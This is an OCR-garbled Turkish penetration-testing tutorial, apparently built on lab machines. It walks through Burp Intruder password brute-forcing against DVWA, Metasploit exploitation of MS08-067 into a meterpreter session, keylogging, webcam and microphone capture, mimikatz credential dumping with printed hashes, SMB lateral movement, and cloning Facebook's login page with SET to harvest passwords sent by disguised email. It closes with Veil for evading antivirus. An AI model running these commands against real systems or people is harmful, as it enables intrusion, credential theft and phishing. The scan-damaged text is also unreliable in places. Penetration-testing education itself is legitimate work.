[Target TPrnxy Tsp\der T Scanner I Intruder T Repeater I Sequencer TDacnder Tcnmparar I Extender I Project options I User options IA\erts 1

[mme

[Target TPusllluns Tpayluads Tcptluns }

2 | start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.
Attack type: | Sniper D
POST /dvwa/login.php HTTP/1.1 s | Add §
Host: 162.168.152.135 r
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:5S0.0) Gecko/20100101 Firefox/50.0 [ Clear §
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%*/*;g=0.8

Accept-Language: en-US,en;q=0.5

Auto §
Referer: http://192.168.152.135/dvwa/login.php [ Ades )
Cookie: security=SHigh§; PHPSESSID=§e4f0edc2363026647805a830b53580098 [ Refresh
Connection: close

Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

userr =§adming&p P dS&Login=§Loging

Biz burada kullanici adini bildigimizi varsayarak diger tim degiskenleri kaldirarak, sifre denemesi
yapalim. Attack type olarak varsayilan sniper secenegi kalsin.

Payloads tab’inda, tek bir degisken icin saldiri gerceklestirecegimiz icin payload set kismi sadece 1
olarak gelecektir. Payload type seceneginde ise saldirinin ¢esidine gore payloadlar mevcut. Sayet bir
wordlist izerinden saldiri yapacaksaniz simple list, elinizde bir liste yok rastgele kaba kuvvet saldiri
yapacaksaniz brute forcer secenegi uygun olacaktir.

Elimizde bulunan wordlist araciligi ile saldiri gerceklestirelim.



{Target T Positions TPay\oads T Options ]

EJ Payload Sets
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Warious payload types are available for each |
and each payload type can be customized in different ways.

Payload set: |1 |= Payload count: 0
Payload type: | Simple list | Request count: 0
@ Payload Options [Simple list] Look In: Lﬁ Passwords |v] I for [+ [ @]
This payload type lets you configure a simple list of strings that an
obe100.txt [ best110.txt
paste =ged-gmail-passwords txt [ best15.txt
hley_Madison txt [ bible-withcount txt
sic_Spanish_List.txt [ bible txt
s L1050t [7i bt4-password txt
Remowve
-l S J e
Clear
File Name: best110.txt
Add Enter a new item j Files of Type: lAH Files \']
Add from list ... [Pro version only] j —_—
Cancel

Oturum aginca naslil bir response alacagimizi heniliz bilmiyoruz. Beklentimiz basarili bir oturum
gerceklestiginde yanitin farkli olacagi ve verinin boyutunun (lenght) daha biyik olmasini bekliyoruz.
15 password denemesini yapip bizlere ne tir yanit verdigini gorelim.

Yaptigimiz 15 password denemesinde lenght de bir degisiklik goremedik. Sunucuda herhangi farkli bir
yanit olup olmadigini gérmek igin istegi forwardlayalim.

Intruder attack 7

Attack Save Columns
j Results TTarget T Positions T Payloads T Options W
‘ Filter: Showing all items

Request |Payload Status | Error | Timeout | Length 4| Comment
0 302 O )] 354
1 302 O )] 354
2 111111 302 O )] 354
3 1234 302 O (] 354
4 12345 302 O (] 354
=] 123436 302 O ] 354
<1 1234367 302 O ] 354
7 12345578 302 O ] 354
g abc123 302 O ] 354
9 dragon 302 O O 354
10 iloveyou 302 O O 354
11 letmein 302 O O 354
12 monkey 302 O O 354
13 password 302 O O 354
14 querty 302 O O 354
15 tequiero 302 O (] 354
16 test 302 O (] 354




Gorialdiagi gibi basarli olup olmadigini sunucu uygulama arayliziinde bizlere sundugunu goriiyoruz.
14.ci denemenin basarili oldugunu ve bunun da wordlistimizdeki password’e denk geldigini
gorebiliyoruz.

Username

admin

Password

Login

Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
You have logged in as "admin’
Login failed
Login failed
Login failed
Login failed

Simdi de kullanici adinin da bilinmedigi durum igin nasil bir yol izleyecegimize bakalim.

Sayet ne kullanici adi ne de sifre bilgisini bilmiyorsak, intruder’a gonderilen istekde hem kullanici adini
hem de sifre alanini seciyoruz.

Burp Intruder Repeater Windew Help

Target | Proxy | Spider | Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options | Alerts

Target | Positions TPay\uads TOptmns ]

@ Payload Positions

Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details,
Attack type: | Cluster bomb \']
POST /dvwa/login.php HTTR/1.1 2 Add§
Host: 182.168.152.135 r
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0 Clear s
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.5 Aute §
Referer: http://192.168.152.135/dvwa/login.php
Cookie: security=low; PHPSESSID=edf0edc23639266a789aa830b53585d9 R
Connection: close

Upgrade-Insecure-Reguests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

username=§admin§&password=Sadmin§& ogin=Login




iki degiskeni sectigimiz icin payload set béliimiinde 2 deger goziikecektir. ilk deger username oldugu
icin, 1 numarali payload set username, 2 numarali payload set password icin kullanilacak.

Payload set 1 igin 11 adet degisken kullanilacak.

Target | Positions | Payloads T Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends o
and each payload type can be customized in different ways.

Payload set: |1 Payload count: 11

Payload type: Request count: 0

EJ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as paylo
Paste
Load ...
Remaove
S

Add Enter a new item

Add from list ... [Pro version only]

root
admin
test
guest
info

A
™~

adm

L S

Payload set 2 kisiminda da 15 degisken kullanilacak ve toplam 165 adet varyasyon kullanilacak

Target | Positions | Payloads T Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends aon the g
and each payload type can be customized in different ways.

5
B

Payload set: [2 Payload count: 15

Payload type: [Simple list Request count: 165

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

111111

Paste
Remove |
© Clear

1234
12345
123458
1234567
12345578
abcl23

dAranan

A
~

Add from list

Enter a new item

Add E

... [Pro version only]




Testimizin sonunda yine boyutta (lenght) de bir degisiklik gormedik.

B3 Intruder attack 8

Attack Sawve Columns
j Results T Target T Positions T Payloads T Optians ]
| Filter: Showing all items |@
Reguest | Payloadl | Payload2 | status | Error | Timeout | Length 4| Comment
154 ftp tequiero 302 o O 354 H
155 root test 3202 (] (] 354
156 admin test 302 @] @] 354
157 test test 302 o o 354
158 guest test 302 a a 354
159 info test 302 o o 354
160 adm test 302 o o 354
161 mysg| test 302 @] @] 354
162 user test 302 (] (] 354
163 administrator test 3202 (] (] 354
164 oracle test 302 o o 354 _)
185 ftp test 302 o o 354 v
< f_ J ¥»

Bu yizden basarili olup olmadigimizi istekleri forward ederek uygulamada goérelim. 146’nci
denememizde basarili olmus bu da bizim admin ve password kullanici adi ve sifremize denk
gelmektedir.

COgT Taren
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed

You have logged in as ‘admin’
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed




Metasploit:

Metasploit aslinda bir frameworktir. Yapisinda bir ¢ok sémiri oncesi bilgi toplamaya yarayan
(auxilary) moduller, yerel ve uzak somiri(exploit) modilleri barindirmaktadir. Sizma testlerinde bilgi
toplama ve zafiyet tespitinden sonra gerceklestirilecek adim bu altyapida bulunan exploit modiilleri
kullanarak sistemi ele gegirmektir.

Asagidaki gibi bir konsol bizi karsiliyor olacak.

root@kali: # msfconsole

P A ;o

| 1N/ LA | | /7 A A

| N T AU R A A N A O I I O O O

1 I I I DA W W U [ A B R
|/ | P AYANATAN /! NS N | %N Y,
= 1

+ -- --=[ 1734 exploits - 992 auxiliary - 300 post ]

+ -- --=[ 509 payloads - 40 encoders - 10 nops 1

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf =

Konsolda karsimiza ¢ikan bilgileri tanimlayarak baslayalim.

Exploit: Yukarida da bahsettigim gibi somirmek, istismar etmektir.
Auxilary: exploit 6ncesi bilgi toplamaya yarayan moddllerdir.

Post: SOmiru sonrasi sistemde kullanilan modullerdir

Payload: Somiirti sonrasi hedef sistemde calisan kodlardir.

Encoder: AntivirUs, IPS gibi glivenlik c6zimlerini atlatmak icin kullanilan, payload’lari gizleyen
moduldir.

Simdi de konsol da kullanilan komutlari tanimlayalim.

search:  Arama komutudur. Akliniza gelen her tirli modiil, teknoloji, servis ismini arattirabilirsiniz.
Ornek: search dns #DNS ile ilgili tim exploit,payload, auxilary vs hepsini getirir.
use Modiili seger.

Ornek : use auxiliary/gather/enum_dns

Show options : Modiil seceneklerini getirir.



msf > use auxiliary/gather/enum_dns
msf auxiliary( ) > show options

Module options (auxiliary/gather/enum_dns):

Name Current Setting Required Description

DOMAIN The target domain

ENUM_A yes Enumerate DNS A record

ENUM_AXFR true yes Initiate a zone transfer against each NS record

ENUM_BRT false yes Brute force subdomains and hostnames via the supplied wordlist
ENUM_CNAME true yes Enumerate DNS CNAME record

ENUM_MX true Enumerate DNS MX record

ENUM_NS true Enumerate DNS NS record

ENUM_RVL false Reverse lookup a range of IP addresses

ENUM_SOA true s Enumerate DNS SOA record

ENUM_SRV true s Enumerate the most common SRV records

ENUM_TLD false s Perform a TLD expansion by replacing the TLD with the IANA TLD list
ENUM_TXT true s Enumerate DNS TXT record

IPRANGE The target address range or CIDR identifier

NS specify the nameserver to use for gqueries (default is system DNS)
STOP_WLDCRD false s Stops bruteforce enumeration if wildcard resolution is detected
THREADS 1 Threads for ENUM_BRT

WORDLIST Jopt/metasploit-framework/embedded/framework/data/wordlists/namelist. txt Wordlist of subdomains

Set: Payload seciminde deger atamasini yapar. Kigik/bilyuk harf duyarlidir.
Ornek: set DOMAIN facebook.com

unset : Atanan degeri kaldirir.

check :Segilen zayifligin sistemde var oldugunu kontrol eder.
info: modiil hakkinda bilgi verir

Run /exploit : Moduiliin ¢alismasini saglar.

Sessions: Aktif oturumlari gosterir ve oturum bilgisi verir.
route : Oturum trafiginin yonlendirilmesini saglar.

Back: Mevcut secenekten bir dnceki meniiye doéner.

Exit : Konsoldan cikisi saglar.

Kullanimr:

Daha 6nce toplamis oldugumuz bilgiler cercevesinde hedef domain hakkinda ne tir zafiyetler oldugunu
tespit ettik. Simdi elimizde bulunan zaafiyetler icin metasploit-framework de exploit modulii var mi yok
mu ona bakacagiz. Daha sonra da bu exploitin ¢calisip calismadigini kontrol edecegiz.

Ornegimiz sistem de bir windows xp makinasi oldugu ve nmap veya nessus ile yaptigimiz tarama
sonrasi MS08-067 zaafiyeti oldugunu tespit ettigimizi varsayalim.

Oncelikle bu zaafiyeti arattiriyoruz. Zaafiyeti bulduktan sonra use komutuyla modiilii segiyoruz. Show
options komutuyla secenekleri gorintiliyoruz. Set RHOST diyerek hedef IP'mizi ayarliyoruz.

Disclosure Date Rank Description

Module options (exploit/windows/smb/ms@8_067_netapi):

Name Current Setting Required Description

RHOST The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

‘Exploit target:

Id Name

<] Automatic Targeting

msf exploit( ) > set RHOST 10.10.10.15
RHOST => 10.10.10.15 —_——




RHOST : Hedef sistemin IP adresi.

LHOST : Saldirinin yapildigi makinanin IP adresi.

RPORT : Uzak sisteme exploitin gonderilecegi portun numarasi.

LPORT : Yapilan exploitin cevabinin bizim makinaya hangi porttan gelecegi.

Bu tanimlari yaptiktan ve hedef IP’yi tanimladiktan sonra uzaktan kod c¢alistirma zaafiyeti igin
payloadumuzu segelim. Hedef sistemin windows oldugunu biliyoruz. Bu ylizden windows bir payload
kullanmamiz gerekir. Yikleyecegimiz payloadumuz gelismis bir payload olan ve meterpreter diye
adlandirilan payload olmasini istiyoruz.

set payload/windows/meterpreter den sonra cift tab’a bastigimizda diger secenekleri gorebiliyoruz.

s explott(

[reverse_hop_http set payload windows ﬂtPrprc*EF’F verse_tep_ allpurtf
p\uluud i eterpre _http 5 yload wind
meterpreter/bind_ipvi t payload wi r - https ‘El payload wind
‘|eterpreterfb\nd_ipv _uui t payload wi [reverse_https_prox set payload wind
D set payload wind e r re _1pv6_t set payload atnd
set payload windows/meterpreter/reverse_ - set payload »
set payload windol terpreter/reverse_
t payload windows/meterpreter/reve
PRI

Hedef sistemde glivenlik duvari veya bizim karsi tarafa baglanti kurmamizi engelleyen giivenlik 6nlemi
var ise reverse_ seceneklerini, dogrudan baglanti kurabiliyor isek bind_ segeneklerini kullanabiliriz.

Biz arada fw olmadigini bildigimizicin bind_tcp secenegini segiyoruz. Show options ile son halini kontrol
ediyoruz. Run diyerek exploit’i ¢alistiryoruz

msf exploit( F pi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit( ) > show options
Module options (exploit/windows/smb/mse8_e67_netapi):
Current Setting Required Description
1©.10.10.15 The target address
445 yes The sSMB service port
SMBPIPE BROWSER ves The pipe name to use (BROWSER, SRWVSVC)
Payload options (windows/meterpreter/bind_tcp):
Current Setting Required Description
EXITFUNC Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The 1isten port
RHOST 16.16.16.15 no The target address
Exploit target:
Name

Automatic Targeting

msf exploit(

Run dedikten sonra zaafiyeti exploit edebildigimiz ve payloadumuzun callistigl, meterpreter
oturumumuzun acildigini gérebiliyoruz. Sysinfo ile hedef bilgisayar hakkinda bilgileri gérebiliyoruz.

exploit( ) > run

] Started bind handler
] 10.10.10.15:445 - Automatically detecting the target...
*] 10.10.10.15:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
] 10.10.10.15:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
10.10.10.15:445 - Attempting to trigger the vulnerability...
*] Sending stage (957487 bytes) to 10.10.10.15
] Meterpreter session 1 opened (10.10.10.13:42657 -> 10.10.10.15:4444) at 2017-01-04 14:36:36 +0300

meterpreter > systnfo
CL-SODER-WINXP

: Windows XP (Build 2600, Service Pack 2).
: X86

System Language : en_US
Domain : SODER
Logged On Users : 2
Meterpreter : x86/windows




Artik hedef sistemde gelismis bir payloadumuz var. Bu payloadun neler yapabildigini help komutuyla
gorebiliriz.

Stdapi: System Commands

Command

clearev Clear the event log

drop_token Relinquishes any active impersonation token.

execute Execute a command

getenv Get one or more environment variable values

getpid Get the current process identifier

getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as

getuid Get the user that the server is running as

kill Terminate a process

localtime Displays the target system's local date and time

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts Town the remote computer

steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes

sysinfo Gets information about the remote system, such as 0S

Command

record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat

webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Priv: Elevate Commands

hashdump Dumps the contents of the SAM database

nds

timestomp Manipulate file MACE attributes

En ¢ok kullanilan komutlari tanimlayalim.
Dosya sistemi komutlar linux komutlari ile ayni, cat,cd, Is, mkdir,pwd,rmdir,download ve upload gibi.

Sistem komutlari ve ag komutlari da windows komutlari ile ayni, sysinfo, ps, getuid,reboot,shutdown,
kill, shell, ipconfig, route vs.

Hashdump: Sifre veritabanini getirir.
getsystem: en 6nemli komutlarindan biridir,local system hesabina gecer
record_mic: ile mikrofonu acabilirsiniz.

Screenshot: hedef bilgisayarin o andaki ekran gérintisind alabilirsiniz.



Keyscan_dump: klavye hareketlerini dump eder.

Meterpreter’in gelismis 6zelliklerinden biri de post moddllerinin olmasi. Oturumu agtiktan sonra load
komutuyla post moddilleri kullanarabilirsiniz. Post modiilleri gormek icin

msf>use post/windows/ ¢ift tab’a basmaniz yeterli.

Bu post modiillerinden bir kagina bakalim

Tus hareketlerini kaydedebiliriz.

meterpreter > run post/windows/capture/keylog_recorder
Ag da arp scan yapabiliriz

meterpreter > run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
Hedef makinanin sanal makina olup olmadigina bakabiliriz
meterpreter > run post/windows/gather/checkvm

hedef makinada sifreleri toplayabiliriz

meterpreter > run post/windows/gather/credential_collector
Baska yetkili bir prosese atlayabiliriz

meterpreter > run post/windows/manage/migrate

Hedef makinada kurulu uygulamalari listeleyebiliriz
meterpreter > run post/windows/gather/enum_applications
Hedef makinada oturum agmis kisileri listeleyebiliriz
meterpreter > run post/windows/gather/enum_logged_on_users
Paylasimlari gorebiliriz

meterpreter > run post/windows/gather/enum_shares
SNMP servis konfiglirasyonlarini cekebiliriz

meterpreter > run post/windows/gather/enum_snmp

Lokal kullanicilarin sifre hash’lerini ¢ekebiliriz

meterpreter > run post/windows/gather/hashdump

ve daha bir¢ok post moduliini gérintileyip kullanabiliriz.

Bizim bu asamadaki ilk hedefimiz meterpreter oturumu actigimiz hedef makinadaki ram de sakli olan
sifreleri almak. Bunu yapabilmek icin post modiillerinden hashdump, mimikatz veya kiwi moddlini
kullanabiliriz. Kiwi modull daha kullanisli oldugu icin kiwi modilini kullanacagiz.

Load kiwi deyip kiwi post modiilline gecis yapiyoruz.



meterpreter > load kiwi
Loading extension kiwi...

3355 mimikatz 2.1 (x86/windows)

B N ##. "A La vie, A L'Amour"”
#it |\ ## [* x>

## \ |/ ## Benjamin DELPY ‘gentilkiwi’ ( benjamin@gentilkiwi.com )

‘## v ##' http://blog.gentilkiwi.

com/mimikatz (oe.eo)

Ported to Metasploit by 03 Reeves 'TheColonial® * * */

> b@lpl

Description

creds_all Retrieve
creds_kerberos Retrieve
creds_msv Retrieve
creds_ssp Retrieve
creds_tspkg Retrieve
creds_wdigest Retrieve
dcsync Retrieve
dcsync_ntlm Retrieve
golden_ticket_create Create a
kerberos_ticket_list List all

all credentials (parsed)

Kerberos creds (parsed)

LM/NTLM creds (parsed)

SSP creds

TsPkg creds (parsed)

WDigest creds (parsed)

user account information via DCSync (unparsed)
user account NTLM hash, SID and RID via DCSync
golden kerberos ticket

kerberos tickets (unparsed)

kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitary mimikatz command (unparsed)

1sa_dump_sam Dump LSA
1sa_dump_secrets Dump LSA

SAM (unparsed)
secrets (unparsed)

wifi_list List wifi profiles/creds

Komutlardan en ¢ok dikkatimizi ceken ve kolayimiza gelen elbette ki creds_all olacak.

Creds_all deyip tiim sifreleri gormeye calisahm.

meterpreter > creds_all
Running as SYSTEM
Retrieving all credentials
credentials

LM

NTLM

CL-SODER-WINXPS SODER a6577c06d5ea3f369be6f92d6c9can10 8db4afcd52e00b6d3ds5f8b70425fed89f03156e48
labuser1 SODER 057819ecbed5d9b2c2265b23734e0dac 939d51efaf8c@ac3a2f634df4791a175

Password

CL-SODER-WINXPS SODER td"e ?2[CSCXtt[.>. *:wIST2?SH6bCniFoVVv8'S:5]Ze< 52=+XeJzUTXg.o#[Ot@ZmASPjz,%" ' ;%LSN?20\yp<D+=1V/\S$PM"
bc_ASoyQS\wX8'VAmPUN_15
labuseri1 SODER labuseri1

kerberos credentials

Password

(null) (null) (null)

CL-SODER-WINXPS SODER 1d"e 2[CSCXtt[.>. *:wIST2SH6bCNiFOVVS'S:$IZe<A52=+XeIzUTXg.o#[Ot@ZMASPIzZ,% ' ; ¥LSN20\yp<D+=1V/\$

PMAbc_ASOyQS\wWX8'VAMPUN_15
cl-soder-winxp$ SODER.LAB (null)
labuseri SODER.LAB (null)

System yetkisi ile ram de saklanan tim sifreleri getirdi. Agik olarak saklanan wdigest credentials
icerisinde labuser1 kullanicisinin sifresinin labuserl oldugunu goérebiliyoruz.

Mimikatz modiili icin su komutlarla ayni bilgilere erisebilirsiniz.

meterpreter > load mimikatz
meterpreter > msv

meterpreter > kerberos



meterpreter > mimikatz_command -f samdump::hashes
Bir kullanicinin sifre bilgisini elde ettikten sonra daha fazla yayilma yollarina bakacagiz.

Oncelikle bu hesapla domain de bulunan hangi bilgisayarlarda oturum agcilabildigini smb_login
modilind kullanacagiz. Daha sonra psexec modilii ile de smb_login de tespit ettig§imiz makinalara
labuser1 kullanici adi ve labuser1 sifresi ile oturum agiyoruz.

Bu islemleri sirayla;

msf> search smb_login

msf > use auxiliary/scanner/smb/smb_login

msf auxiliary(smb_login) > show options

msf auxiliary(smb_login) > set SMBDomain test

msf auxiliary(smb_login) > set SMBUser labuserl
msf auxiliary(smb_login) > set SMBPass labuserl

msf auxiliary(smb_login) > set RHOSTS 10.10.10.0/24

msf auxiliary(smb_login) > run komutuyla galistiriyoruz.

auxiliary( ) > run
.10.10.10:445 - SMB - Starting SMB login bruteforce
.10.10.10:445 - This system does not accept authentication
.10.10.10:445 - SMB - Success: 'soder\labuseri:labuser1'
.10.10.10:445 - SMB - Domain is ignored for user labuser1
Scanned 1 of 6 hosts (16% complete)
10.10.10.11:445 - SMB - Starting SMB login bruteforce
10.10.10.11:445 - This system does not accept authentication
10.10.10.11:445 - SMB - Could not connect

credentials, proceeding

credentials, proceeding

Scanned 2 of 6 hosts
10.10.10.12:445
10.10.10.12:445
10.10.10.12:445
Scanned 3 of 6 hosts
10.10.10.13:445
10.10.10.13:445
10.10.10.13:445
Scanned 4 of 6 hosts
10.10.10.14:445
10.10.10.14:445
10.10.10.14:445
Scanned 5 of 6 hosts

(33% complete)
- SMB - Starting SMB login bruteforce
- This system does not accept authentication
- SMB - Success: 'soder\labuseri:labuser1'
(50% complete)
- SMB - Starting SMB login bruteforce
- This system does not accept authentication
- SMB - Could not connect
(66% complete)
- SMB - Starting SMB login bruteforce
- This systlem does not accept authentication
- SMB - Could not connect
(83% complete)

credentials,

credentials,

credentials,

proceeding

proceeding

proceeding

10.10.10.15:445 - SMB - Starting SMB login bruteforce
: - This system does not accept authentication with any credentials, proceeding brute force

- Failed: 'soder\labuseri:labuserl', Login Failed: The server responded error: STATUS
Sopit s gl s

P

Yesil ile gosterilen iki makina da ayni kullanici adi ve sifre ile oturum acilabildigini tespit etti.

Simdi bu makinalarda psexec komutuyla oturum acip, makinalarda acik olan yetkili hesaplar elde
etmeye calisacagiz.

msf > use exploit/windows/smb/psexec komutuyla modull secip, seceneklerde ilgili alanlari doldurup
calistiriyoruz.

Simdi biraz da diger sistemlerle ilgili modiillere bakalhm.

Ortamda mssql instance olup olmadigina bakan modiil

Modlil: msf > use auxiliary/scanner/mssql/mssql_ping

istenen deder: msf auxiliary(mssql_ping) > set RHOSTS 10.10.10.10.0/24
Veritabani sunucusuna kullanici adi ve parolasi denemesi yapan modiil

msf > use auxiliary/scanner/mssqgl/mssql_login



msf auxiliary(mssql_login) > set RHOSTS 10.10.10.14

VNC servisine kaba kuvvet denemesi

msf > use auxiliary/scanner/vnc/vnc_login

msf auxiliary(vnc_login) > set RHOSTS 10.10.10.13

tomcat kaba kuvvet saldirisi

msf > use auxiliary/scanner/http/tomcat_mgr_login

msf auxiliary(tomcat_mgr_login) > set RHOSTS 10.10.10.11

msf auxiliary(tomcat_mgr_login) > set RPORT 8180

MSSQL sunucusunun yonetim hesabi ile isletim sistemini ele gecirme
msf > use exploit/windows/mssgl/mssql_payload

msf>show options #burada iki parametre doldurmamiz yeterli, RHOSTS ve Payload.

msf exploit( ) > show options
Module options (exploit/windows/mssql/mssql_payload):

Name Current Setting Required Description

METHOD Which payload delivery method
to use (ps, cmd, or old)

PASSWORD The password for the specifie
d username

RHOST yes The target address

RPORT 1433 yes The target port

SRVHOST 6.0.08.0 yes The local host to listen on.
This must be an address on the local machine or ©.0.0.0

SRVPORT 8088 yes The local port to listen on.

SSL false no Negotiate S5L for incoming co
nnections

SSLCert no Path to a custom SSL certific
ate (default is randomly generated)

TDSENCRYPTION false yes Use TLS/SSL for TDS data "For
ce Encryption”

URIPATH no The URI to use for this explo
it (default is random)

USERNAME sa The username to authenticate
as

USE_WINDOWS_AUTHENT false Use windows authentification
(requires DOMAIN option set)

msf exploit(mssql_payload) >set RHOSTS 10.10.10.14
msf exploit(mssql_payload) > set PAYLOAD windows/exec
msf exploit(mssql_payload) > set CMD “ipconfig /all”

Tespit ettiginiz envanter ve zaafiyetlere gore exploit arattirip somurebilirsiniz.



Setoolkit:

Bu arac insan zaafiyetinden faydalanarak sosyal miihendislik yontemiyle hedef kisiye ait kullanici adi,
sifrelerini almak veya hedef kisiye gonderilen baglantiyi tiklamasi sonrasi, hedef bilgisayarda arka kapi
acilarak, saldirganin baglanti saglamasini amaglamaktadir. Hedef bilgisayarda bulunan antivirisi
atlattiginiz takdirde basari orani yiiksek bir adimdir.

Setoolkit komutu ile erisim saglayabilirsiniz.
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The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com
t https

Select from the menu:

Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules

Update the Social-Engineer Toolkit
Update SET configuration

Help, Credits, and About

Exit the Social-Engineer Toolkit

Bu aracta en ¢ok kullanacagimiz meni Social-Engineering Attacks menusd. 1 diyerek ilerliyoruz.

Sonrasinda 11 farkli secenek bulunuyor.En ¢ok kullanilan Website Attack Vectors secenegi ile
ilerliyoruz. 2 yaziyoruz

Select from the menu:

1)
2)
3)
4)
5)
6)
7)
8)
9)

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

10)
11)

29)

sSMs spoofing Attack Vector
Third Party Modules

Return back te the main menu.




Bir sonraki ekranda kullanici adi ve sifre toplamaya yonelik 3) Credential Harvester Attack Method
secenegi ile devam ediyoruz. Sonrasinda da web sayfasi klonlama 2) Site Cloner’yi segiyoruz.

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

Return to Main Menu

=3

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

Bir sonraki adimda olusturulacak klonlanmis sitenin hangi iP’de host edilecegini yaziyoruz. Burada
onemli nokta, sayet ptf kurulu makina sizin host makinaniz (sanal degil) ve kurum icerisinde
yaplyorsaniz i¢ ip’nizi yazabilirsiniz. Sayet kurum disinda iseniz gergek ip’nizi yazmaniz gerekir. Ayrica
sanal makina kullaniyorsaniz, sanal makinanizin network adaptoriinii bridged olarak degistirmemiz
gerekir. NAT yapida baglanti size gelmeyecektir.

Virtual Machine Settings X

Hardware Options

Device status

Device Summary
8 Memory 1GB [ ] Connected
HProcessors 1 Connect at power on
= Hard Disk (SCST) 100 GB
*JCD/DVD (SATA) Using file C:\Program Files (x86)\VMwar... Network connection
.- Network Adapter Bridged (Automatic) . ) i
B USB Contraller Present (®) Bridged: Connected directly to the physical network
¢ Sound Card Auto detect [ ]Replicate physical network connection state
= Printer Present
HEDisplay Auto detect (O)NAT: Used to share the host's 1P address

O Host-only: A private network shared with the host
() Custom: Speific virtual network

VMnet0
() LAN segment:




IP’mizi yazip, klonlanacak web sitesini yaziyoruz. Daha sonra ip adresimizi gizleyerek facebook adresi
olarak karsl tarafa e-posta yoluyla génderiyoruz.

H >2

Credential harvester will allow you to utilize the clone capabilities within SET

to harvest credentials or parameters from a website as well as place them into a report
This option is used for what IP the server will POST to.

If you're using an external IP, use your external IP for this

3 > IP address for the POST back in Harvester/Tabnabbing:192.168.152.138
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com

H > Enter the url to clone:https://facebook.com

Cloning the website: https://login.facebook.comflogin.php
This could take a little bit...

L fr hp

All files have been copied to /

SET is now listening for incoming credentials. You can control-c out of this and completely exit SET at anytime and still keep the attack going.
All files are located under the Apache web root directory: /var/www/html

All fields captures will be displayed below.

edential Harvester is now listening below...]

Hedef kisisi baglantiyr tikladiginda aslinda facebook sayfasina degil bizim klonladigimiz adrese
gelecektir.

Ei Facebook'a Giris Yap | Fa. X

<« C' | O 192.168.152.138

facebook «s

Facebook'a Giris Yap

soder@soder.com

Hesabini mi unuttun? - Facebook'a Kaydol

Kisi kullanici adi ve sifresiniz girdiginde, dinlemede olan aracimiz kullanici adi ve sifresini ele
gecirecektir.

Cloning the website: htt //login. facebook.com/login.php
This could t little bit...

You can control-c out of this and completely exlt SET at anytime and still keep the attack golng.
- the Apache web t directory: /var/www/html
displayed below
ening belo
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Veil-Framework

Hedef bilgisayari veya sunucuyu ele gegirebilmek igin, zararl yazilimimizin karsi tarafta ¢alistirabiliyor
olmamiz gerekir. payloadlar antivirlsler tarafindan algilanabildigi icin, kodumuzu encode edip hedef
bilgisayarda ¢alistirmamiz gerekir. Bunun igin en iyi arag veil aracidir.

Veil aracini kalide kurmak icin asagidaki komutu kullanabilirsiniz.

Git clone https://github.com/Veil-Framework/Veil-Evasion

Veil araci payload’un imzasini degistirerek giivenlik yazilimlari veya cihazlarinin tanimamasini saglar

Veil aracinda 51 adet payload bulunmaktadir.

Veil-Evasion | [Version]: 2.28.2

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

Main Menu
payloads loaded

Available Commands:

use Use a specific payload

info Information on a specific payload

list List available payloads

update Update Veil-Evasion to the latest version
clean Clean out payload folders

checkvt Check payload hashes vs. VirusTotal

exit Exit Veil-Evasion

[menu==>]1: |}

Komutlarina bakacak olursak;

use: Kullanilacak payload’U tanimlamak igin

info: Kullanilacak payload hakkinda bilgi icin

